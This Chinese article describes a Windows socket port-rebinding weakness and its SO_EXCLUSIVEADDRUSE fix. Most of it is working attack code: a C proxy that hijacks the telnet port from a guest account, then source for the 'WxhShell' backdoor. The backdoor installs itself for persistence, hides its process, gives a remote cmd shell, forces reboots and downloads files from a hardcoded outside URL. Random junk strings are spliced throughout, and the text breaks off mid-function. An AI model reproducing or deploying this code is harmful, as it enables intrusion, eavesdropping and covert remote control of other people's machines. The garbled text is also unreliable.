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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #BcUE?K*N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *S.FM.r ,{S $&g* saddr.sin_family = AF_INET; "ldd&>< 4v_Hh<% saddr.sin_addr.s_addr = htonl(INADDR_ANY); 60{DR >S cf$
hIB)Oi bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); csLbzDg 1Dc6v57 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d9U)O6= k ZF<~U 这意味着什么?意味着可以进行如下的攻击: CUG"2K9 /bo=,%wJ[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b\H&E{Gn|x (M1YOK) I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M_UmnqN1C bri8o" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +aEm]=3 $
-<(geI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 #yR&|*@ 0\Jeyb2dl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l#T%N@X psmDGSm,& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Or?c21un )V>OND 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xrBM`Bj0@ Kf[.@_TD<1 #include q'+ARW48 #include 6pS}\aD #include sCY #include d7r!<u&/ DWORD WINAPI ClientThread(LPVOID lpParam); +FadOx7X$ int main() yv]|Ce@8A { cMT:Ij]; WORD wVersionRequested; ?.F^Oi6
u DWORD ret; uQn1kI[y WSADATA wsaData; DjN1EP\Xx BOOL val; M \k[?i SOCKADDR_IN saddr; u&S0 SOCKADDR_IN scaddr; ohx$;j int err; |4pl}:g/Z SOCKET s; /0gr?I1wr7 SOCKET sc; 2bw), W int caddsize; Dzu//_u HANDLE mt; BH~zeJ*Pr DWORD tid; r0[<[jEh wVersionRequested = MAKEWORD( 2, 2 ); ^swj!da err = WSAStartup( wVersionRequested, &wsaData ); h
x5M)8#+ if ( err != 0 ) { \}.bTca printf("error!WSAStartup failed!\n"); W$,/hB& z return -1; %>9L}OAm } bfncO[Q,? saddr.sin_family = AF_INET; `S-l.zSZ4B ~F,YBX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d`flYNg4 TW(X#T@Z6I saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xp06sl7 M saddr.sin_port = htons(23); ic!% } S? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d
oEuKT { yFmy printf("error!socket failed!\n"); 4OJD_
return -1; J!~kqNI } `^^t#sT val = TRUE; }ff^^7_ //SO_REUSEADDR选项就是可以实现端口重绑定的 >jmHe^rH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LVdR,'lS { mejNa(D ^ printf("error!setsockopt failed!\n"); ~4Fz A,, return -1; =8*ru\L:hr } m='}t \= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k=9+"4: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t, /8U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +L'Cbv= " ^J hs/HV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -?1R l:rM { Ths~8{dMb ret=GetLastError(); BGj!/E printf("error!bind failed!\n"); F Xr\ return -1; gXs9qY%= } 7R79[:uwJ listen(s,2); `'XN2-M8 while(1) e&T-GL { 7 qn=W caddsize = sizeof(scaddr); @uV]7d"z( //接受连接请求 03zt^< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D~i 5E9s5 if(sc!=INVALID_SOCKET) ^;s/4 { C%E~9_w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z>,tP if(mt==NULL) W(Sni[c{ { JtMl/h printf("Thread Creat Failed!\n"); Hq<4G:# break; iQ2}*:Jc$ } Vfk"}k/do } J[Mj8ee# CloseHandle(mt); 8:S+*J[gSn } {t!
&x: closesocket(s); c*zeO@AAn WSACleanup(); 4t%Lo2v!X% return 0; K2n#;fY % } DQ/rx`BG DWORD WINAPI ClientThread(LPVOID lpParam) 8O{V#aop { 9__Q-J SOCKET ss = (SOCKET)lpParam; mM?,e7Xhs SOCKET sc; 3 i>NKS unsigned char buf[4096]; @oH\r-jsgu SOCKADDR_IN saddr; .XeZjoJ$z long num; &3"ODAp' DWORD val; 7\yh(+ kN DWORD ret; c1FSQ
m81 //如果是隐藏端口应用的话,可以在此处加一些判断 \zk>cQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
F{Yr8(UHA saddr.sin_family = AF_INET; A ep](je saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V6c8o2G;+ saddr.sin_port = htons(23); @@\px66 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HRbv% { _!,2"dS printf("error!socket failed!\n"); [9 :9<#?o^ return -1; z ULHgG } iumwhb val = 100; ?-3G5yy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rB]2qk`/' { *Od?>z ret = GetLastError(); ]:2Ro:4Yv return -1; D'ZUbAh! } ZRw^<
+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1~E4]Ef:W { ft@#[Bkx ret = GetLastError(); Y?K?*`Pkc1 return -1; <1lB[:@%U } yk4py0xVl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,+h<qBsV@ { >jTiYJI_M printf("error!socket connect failed!\n"); CXz9bhn<4 closesocket(sc); A-L)2.M closesocket(ss); | ~>7_: return -1; d
{ P$}b } V(LfFO{^>? while(1) daSx^/$R { u^]Gc p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0i8\Lu6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 4)}>dxv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VFnxj52< num = recv(ss,buf,4096,0); C{t}q*fG
5 if(num>0) Oi~Dio_? send(sc,buf,num,0); @44*<!da else if(num==0) jG& 8`*|* break; :iE`=( o num = recv(sc,buf,4096,0); z.)*/HGJm if(num>0) @QnKaZ8jW send(ss,buf,num,0); }LX!dDuwA else if(num==0) e~># M$ break; ~X<$l+5 } ]Y->EME:W closesocket(ss); :TKx>~` closesocket(sc); Uh1UZ
r return 0 ; XJl
3\* } qJl DQc- J%q)6& "9Q_lVI|Q ========================================================== E;4d lL`* KC9VQeSc 下边附上一个代码,,WXhSHELL Wq 1OYZ, YaQ5Z-c
========================================================== d0%Wz5Np fo>_*6i74 #include "stdafx.h" M1 o@v 0 vF@|cTRR) #include <stdio.h> DW7Jk"\GH #include <string.h> #ifjQ7(: #include <windows.h> oL>o*/ #include <winsock2.h> d%q&[<'jf #include <winsvc.h> m`xYd #include <urlmon.h> "5N$u(: b 4wEkxCWp/ #pragma comment (lib, "Ws2_32.lib") \oGU6h< #pragma comment (lib, "urlmon.lib") Iv9U4 0/z$W.! #define MAX_USER 100 // 最大客户端连接数 :]8A;`G} #define BUF_SOCK 200 // sock buffer "9*MSsU #define KEY_BUFF 255 // 输入 buffer `W1TqA c;yp}k]\ #define REBOOT 0 // 重启 QiVKaBS8 #define SHUTDOWN 1 // 关机 +yk 0ez e&[~}f? #define DEF_PORT 5000 // 监听端口 \>j@!W UIIsgNca #define REG_LEN 16 // 注册表键长度 ]*)l_mut7 #define SVC_LEN 80 // NT服务名长度 CSWA/#&8> ZN'B@E=p // 从dll定义API wF6a*b@v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #X{lV]Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,ag*
/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R Eo{E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] ONmWo77o HuSE6an // wxhshell配置信息 c5KciTD^ struct WSCFG { w'xPKO$bzR int ws_port; // 监听端口 1guiuR4 char ws_passstr[REG_LEN]; // 口令 s{Y-Vdx int ws_autoins; // 安装标记, 1=yes 0=no DmB?.l- char ws_regname[REG_LEN]; // 注册表键名 hS%oQ)zvE char ws_svcname[REG_LEN]; // 服务名 |x _jpR char ws_svcdisp[SVC_LEN]; // 服务显示名 q!5`9u6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 @K#}nKN' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6*|EB|%n int ws_downexe; // 下载执行标记, 1=yes 0=no ose)\rM' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" w#L`|cYCm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L1@<7?@X 7}&vEc@w& }; _a`/{M| <{Rz1CMc // default Wxhshell configuration {[{jlG4H struct WSCFG wscfg={DEF_PORT, pVjOp~=U
"xuhuanlingzhe", pd.pY*B<[ 1, H~ >\HV* "Wxhshell", Tz\v.&? $ "Wxhshell", Q;m8 drU "WxhShell Service", ?c fFJl "Wrsky Windows CmdShell Service", 0NvicZ7VR
"Please Input Your Password: ", Z)u_2e 1, +& M>J| " http://www.wrsky.com/wxhshell.exe", x;STt3M~ "Wxhshell.exe" !0KNA1w, }; =C)2DW J1 e>uq/|.! // 消息定义模块 Wh%@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6mIRa(6V char *msg_ws_prompt="\n\r? for help\n\r#>"; f{(D+7e} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >4=7t&h char *msg_ws_ext="\n\rExit."; wo86C[ char *msg_ws_end="\n\rQuit."; W<~u0AyO
3 char *msg_ws_boot="\n\rReboot..."; y;.5AvfD char *msg_ws_poff="\n\rShutdown..."; $ 93j; char *msg_ws_down="\n\rSave to "; b'`C<Rk 4C;"4''L char *msg_ws_err="\n\rErr!"; rZRTQ char *msg_ws_ok="\n\rOK!"; 73ABop m^tf=O< char ExeFile[MAX_PATH]; %~lTQCPE int nUser = 0; bl|)/)6o HANDLE handles[MAX_USER]; j4#S/:Q<7 int OsIsNt; 1n>AN.nI Q$yQ^ mG SERVICE_STATUS serviceStatus; Qgo|\= SERVICE_STATUS_HANDLE hServiceStatusHandle; X#MC|Fzy@ m='_O+ $ // 函数声明 @.QuIm8, int Install(void); B/JMH 1r int Uninstall(void); MBol_#H int DownloadFile(char *sURL, SOCKET wsh); 2>^jMln int Boot(int flag); ) .MV1@s void HideProc(void); .&KC2#4 int GetOsVer(void); O%} hNTS" int Wxhshell(SOCKET wsl); @<
0c void TalkWithClient(void *cs); OuPfB int CmdShell(SOCKET sock); ECuNkmUI int StartFromService(void); ~>3#c#[ int StartWxhshell(LPSTR lpCmdLine); "@jYZm8 ~yRKNH*M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lO1]P&@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); TSRl@QVy RAxp2uif // 数据结构和表定义 CL!s #w1I\ SERVICE_TABLE_ENTRY DispatchTable[] = 0y;1Dk! { reNUIDt/c {wscfg.ws_svcname, NTServiceMain}, z&.F YGq} {NULL, NULL} 7wbpQ&1_ }; _=I&zUF ]L\]Ll; // 自我安装 #BI Z| int Install(void) ^8g<>,$ { ;![rwra char svExeFile[MAX_PATH]; iis}=i7| HKEY key; 94[8~_{fG strcpy(svExeFile,ExeFile); OI^qX;#Kd };>~P%u32 // 如果是win9x系统,修改注册表设为自启动 <EuS6Pg if(!OsIsNt) { 8;(3fSNC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (+bt{Ma RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hx}X=7w RegCloseKey(key); ,#(k|Zztc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9%?a\#C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Q+.kAh !G RegCloseKey(key); s`dUie}y< return 0; 2)|G%f_lS } Okd7ua-f } @u-CR8^ } gt(!I^LHYc else { '=ydU+X .fNLhyd // 如果是NT以上系统,安装为系统服务 Ot~buf'| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #sf1,k5' if (schSCManager!=0) TA"gU8YQ { *HQ>tvUh SC_HANDLE schService = CreateService zi+NQOhR ( "Q1oSpF schSCManager, mfgUf wscfg.ws_svcname, lnrs4s Km wscfg.ws_svcdisp, SJ&+"S& SERVICE_ALL_ACCESS, S@WT;Q2Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JuRx>F4 SERVICE_AUTO_START, `t]8 [P5 SERVICE_ERROR_NORMAL, Lr(My3vF8q svExeFile, %07vH&<C. NULL, E
qt\It9 NULL, 3s,a%GOk NULL, Q\*zF,ek NULL, " 8g\UR"[ NULL Q.l3F3; ); <s (o?U if (schService!=0) %VO>6iVn { A 1aN<!ehB CloseServiceHandle(schService); V6^=[s R CloseServiceHandle(schSCManager); ,y[w`Q\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tl-Ix&37 strcat(svExeFile,wscfg.ws_svcname); sl G%o5|m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _qSVYVJ u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XlxM.;i0H RegCloseKey(key); LP//\E_] return 0; LcmZ"M6 } 8 v<*xy } ce1U}">11 CloseServiceHandle(schSCManager); 249DAjn+ } #7naI*O } BBRZlx b'(Hwc\ t return 1; ,o6,(jJU } 2;ac&j1 &MJ`rj[% // 自我卸载 1,pPLc( int Uninstall(void) VJ-To} { l }]"X@&G HKEY key; [}?E,1Q3 f(*iagEy if(!OsIsNt) { <-=g)3_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tjcG^m} _ RegDeleteValue(key,wscfg.ws_regname); {[r}gS% RegCloseKey(key); ,TQ;DxB}=E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g"X!&$& RegDeleteValue(key,wscfg.ws_regname); O7zj8 RegCloseKey(key); gq&jNj7V return 0; }_9yemP } LOe l6Ui } )*9,H|2nS } p 8lm1; else { .;%`I O+ J0X*&x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /*m6-DC if (schSCManager!=0) t^g+nguz { 4siq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ryt`yO if (schService!=0) _*u$U { $NwPGy?% if(DeleteService(schService)!=0) { !~ZAm3GwL CloseServiceHandle(schService); 3U[:N
&Jb CloseServiceHandle(schSCManager); |
=tGrHL return 0; j%fi*2uX } }syU(];s CloseServiceHandle(schService); r.v.y[u } ;~Q`TWC CloseServiceHandle(schSCManager); >ToI$~84 } Lv:;} } a]0hB: a- 7RJ. return 1; lLNI5C } <O~ieJim
saVX2j6Y // 从指定url下载文件 O\}w&BE:h int DownloadFile(char *sURL, SOCKET wsh) g ~>nT>6 { P+Sgbtc HRESULT hr; lO8GnkLE char seps[]= "/"; H8qWY"<Vd char *token; )Xice=x9 char *file; :Oi}X7\ char myURL[MAX_PATH]; a*!9RQ char myFILE[MAX_PATH]; X-cP'" `/o| 1vv@_ strcpy(myURL,sURL); %H=^U8WB token=strtok(myURL,seps); M8f[ ck while(token!=NULL) TZa LB}4 { t7,** $ST file=token; !s[gv1 token=strtok(NULL,seps); _ IlRZ} f } 9oj0X>| 1 nSq$,tk( GetCurrentDirectory(MAX_PATH,myFILE); Bh()?{q strcat(myFILE, "\\"); !r9~K^EI strcat(myFILE, file); 3tCT"UvTD send(wsh,myFILE,strlen(myFILE),0); v'SqH,=d send(wsh,"...",3,0); Cuo"6, M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }C5Fvy6uz if(hr==S_OK) /_tN&[ return 0; <(BIWm* else ])vqXjN6" return 1; 8hZc#b; ,A>cL#Oe } yUg'^SEbLk )4jS} // 系统电源模块 CiIIlE4 int Boot(int flag) :<xf'. { H=*2A!O[_ HANDLE hToken; { &pBy TOKEN_PRIVILEGES tkp; ,-1d2y M0woJt[& if(OsIsNt) { q`HK4~i, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); __)"-\w-_( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,~XAV ;+ tkp.PrivilegeCount = 1; G+K`FUNA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -8&P1jrI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .zvvk if(flag==REBOOT) { J&;' gT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5
$.az return 0; tCQf ` } X'usd$[. else { /X?%K't2r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^*WO*f>y return 0; 5[H1nC
@C } 3IQ-2 X-- } 9oVprd>%@ else { j]6YLM@5$ if(flag==REBOOT) { gflO0$i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p
I@!2c:} return 0; h BzZJ/jn } ! Y'~?BI else { |6~ Kin if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^aY,Wq return 0; ?r^>Vk} } Gvquv\ } %`]fZr A]# K#]FUUnj= return 1; Wfh+D[^ } mxTuwx
>S:+&VN`M // win9x进程隐藏模块 TR!7@Mu3 void HideProc(void) v8K4u) { Enqs|fkbN #6nuiSF HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }Hb_8P if ( hKernel != NULL ) 3s_$. { gr4JaV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nT@FSt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I6[=tB FreeLibrary(hKernel); EKzYL#(i } i
[6oqZ .'S_9le return; )h/Qxf } V#V<Kz c~ Q5A // 获取操作系统版本 r%%< int GetOsVer(void) (sEZNo5 n { i^V3u OSVERSIONINFO winfo; fs*OR2YG7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9HD 5A$ GetVersionEx(&winfo); #;<dtw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S5wkBdr{ return 1; PAv<J<d else W+aW2 return 0; xWKUti i } w/Wd^+IIn `+GiSj8'G // 客户端句柄模块 p+Icq!aH5 int Wxhshell(SOCKET wsl) }*56DX { L7s
_3\ SOCKET wsh; 4,:)%KB"V struct sockaddr_in client; MMf_ DWORD myID; Io<L!
=> 9D51@b6k while(nUser<MAX_USER) ~lH2#u>g { d6~d)E int nSize=sizeof(client); 0mI4hy wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I.)9:7 if(wsh==INVALID_SOCKET) return 1; {AAi x _"- ,ia[D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M.KXDD#O if(handles[nUser]==0) Ir3|PehB closesocket(wsh); \,yg@R else opqf)C nUser++; r+}<]?aT>- } da5fKK/s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fx/If ^Rmrre`uU return 0; #\MkbZc d } IdciGS6t >~@ABLp6 // 关闭 socket }~! D]/B void CloseIt(SOCKET wsh) vf['$um { K2-nP2Go? closesocket(wsh); 'o-J)+oa nUser--; UUxP4 ExitThread(0); ,~7+r#q7 } .KF(_
92 ?f=7F
% // 客户端请求句柄 XC\'8hL: void TalkWithClient(void *cs) ~JohcU}d { ]H=P(Z- \-I)dMm[ SOCKET wsh=(SOCKET)cs; ;e\K8*o char pwd[SVC_LEN]; IYB;X char cmd[KEY_BUFF]; }r:8w*47 char chr[1]; ~D!Y]
SK int i,j; K?,`gCN}v Hv|(V3- while (nUser < MAX_USER) { {fu[&@XV ufS0UD8%H if(wscfg.ws_passstr) { )iCg,?SSw= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a}7P:e*u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r8[Ywn<u //ZeroMemory(pwd,KEY_BUFF); eHH9#Vrhc$ i=0; gOm%?sg while(i<SVC_LEN) { UQCond+K *AA78G| // 设置超时 fDZnC Fa fd_set FdRead; +(vL~ struct timeval TimeOut; KPI[{T\`ZM FD_ZERO(&FdRead); >2;KPV0H FD_SET(wsh,&FdRead); G>W:3y TimeOut.tv_sec=8; Q?-u J1J TimeOut.tv_usec=0; |~YhN'OJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6G>bZ+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tg6nb7@P zjwo"6c> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x DX_s:A pwd =chr[0]; -/J2;AkGH if(chr[0]==0xd || chr[0]==0xa) { *uMtl' pwd=0; 4I3)eS%2 break; R|dSjE s } Z%I9:( i++; Z n]e2 } ,4kipJ!,yK Dlo4Wy // 如果是非法用户,关闭 socket ?+y# t? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pt8#cU\ } 7'TXR[ g<N3 L [ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &}vc^io send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B~/ejC! >
V%3w7 while(1) { vX"jL gj1l9>f>]a ZeroMemory(cmd,KEY_BUFF); 1A/li% YX19QG% // 自动支持客户端 telnet标准
He)dm5#fg j=0; UQ)7uYQ5 while(j<KEY_BUFF) { ;X[23A{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R=s^bYdoy cmd[j]=chr[0]; Rj{D#5 if(chr[0]==0xa || chr[0]==0xd) { QD*(wj cmd[j]=0; -vBk,;^> break; CiC@Z,ud` } ,v*<yz/ j++; ED
R*1!d } d)jX%Z$LC o$bD?Zn // 下载文件 8:4`q9 if(strstr(cmd,"http://")) { h_ J|uu send(wsh,msg_ws_down,strlen(msg_ws_down),0); j=TGe if(DownloadFile(cmd,wsh)) XX'Rv]T send(wsh,msg_ws_err,strlen(msg_ws_err),0); cLCzLNyKl else *saO~.-;4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D`r_ Dz } 5}_DyoV else { p&,2@(Q 3W}xYYs]^ switch(cmd[0]) { #ui7YUR=2 ]e]l08 // 帮助 v0S7 ]?_ case '?': { ShRkL< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ];G$~[ break; pM7xnL4 } '8bT9 // 安装 B=J/HiwV) case 'i': { D1<$]r, if(Install()) t"Djh^=y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vch!&8xii else k84JDPu# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -YP>mwSN? break; 9{V54ue; } JIyIQg'5i // 卸载 gEQevy`T%c case 'r': { Cn(0ID+3f if(Uninstall()) @ 6{U*vs send(wsh,msg_ws_err,strlen(msg_ws_err),0); ce P1mO else *ocbV` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >VWH
bo break; aj*%$!SU+ } zMQ|j_l9E // 显示 wxhshell 所在路径 Qr
l> A* case 'p': { _w>9Z>PR char svExeFile[MAX_PATH]; rC!~4xj- strcpy(svExeFile,"\n\r"); Q!dNJQpb strcat(svExeFile,ExeFile); "Hw%@ send(wsh,svExeFile,strlen(svExeFile),0); Bn_@R` break; r)SwV!b } /R44x\nhr // 重启 L(!mm case 'b': { Dx<CO1%z- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :X;AmLf`2u if(Boot(REBOOT)) /IN/SZx send(wsh,msg_ws_err,strlen(msg_ws_err),0); sd~T else { =!%+ sem closesocket(wsh); /K]<7 ExitThread(0); oZ(T`5 } {|J'd+ break; ?krgZ;Jj } I*^3 Z // 关机 Qv@Z# case 'd': { |%~sU,Y\( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .5x+FHu7 if(Boot(SHUTDOWN)) /N&)r wc send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"D8E^9 else { enGjom closesocket(wsh); -dn\*n5 ExitThread(0); h .Iscr^~ } =a.avOZ break; X6dv+&=? } cQMb+ Q2Yw // 获取shell ard<T}|N case 's': { \kGi5G] CmdShell(wsh); r%/*,lLO closesocket(wsh); z2QZ;ZjvRS ExitThread(0); )} H46 break; yS[Z%]bvU } E5<}7Pt // 退出 VfiMR%i} case 'x': { bLysUj5[5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BEzF'<Z CloseIt(wsh); $3Ct@}=n break; bvMa|;f1 } 3:h9cO/9 // 离开 -B-nTS` case 'q': { B|Rnh;B- send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]jz%])SzH closesocket(wsh); [1Yx#t WSACleanup(); 9s-op:5 exit(1); Z;{3RWV break; qi\!<clv } Sh=Px9'i } YpT x1c- } ,rp-`E5ap ,HxsU,xiG // 提示信息 [~ sXjaL8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *8uSy/l } ~iZMV ?w } btK| U #Pulbk8 return; @]#0jiS } vRLkz4z @JWoF^U // shell模块句柄 aNpeePF)z int CmdShell(SOCKET sock) [*j
C { yuvt<kz STARTUPINFO si; ;u'mSJI' ZeroMemory(&si,sizeof(si)); tZ]|3wp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Udb*76
D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~R]E=/ m| PROCESS_INFORMATION ProcessInfo; {Tp0#fi char cmdline[]="cmd"; DG x9 \8^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kN4nRW9z return 0; n7"e 79 } 6ZBg/_m av( d0E}}b // 自身启动模式 D@yg)$;z int StartFromService(void) yWACIaj { H V`{YuP typedef struct gOI#$-L { *=1;HN3 DWORD ExitStatus; &t+ DWORD PebBaseAddress; \guZc}V]:\ DWORD AffinityMask; .[hQ#3)W DWORD BasePriority; %:n1S]Vr ULONG UniqueProcessId; mN^92@eebC ULONG InheritedFromUniqueProcessId; {6v|d{V+e } PROCESS_BASIC_INFORMATION; /vl]Oa&U {R7>-Y[4)2 PROCNTQSIP NtQueryInformationProcess; nu] k<^I5| ={?} [E static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O /wl";- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {_1^ GIIS Z1FO.[FV HANDLE hProcess; zi23k= PROCESS_BASIC_INFORMATION pbi; M#J OX/ 5r<%xanXW/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "-y\F}TE if(NULL == hInst ) return 0; Sq&*K9:z H(ht{.sjI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 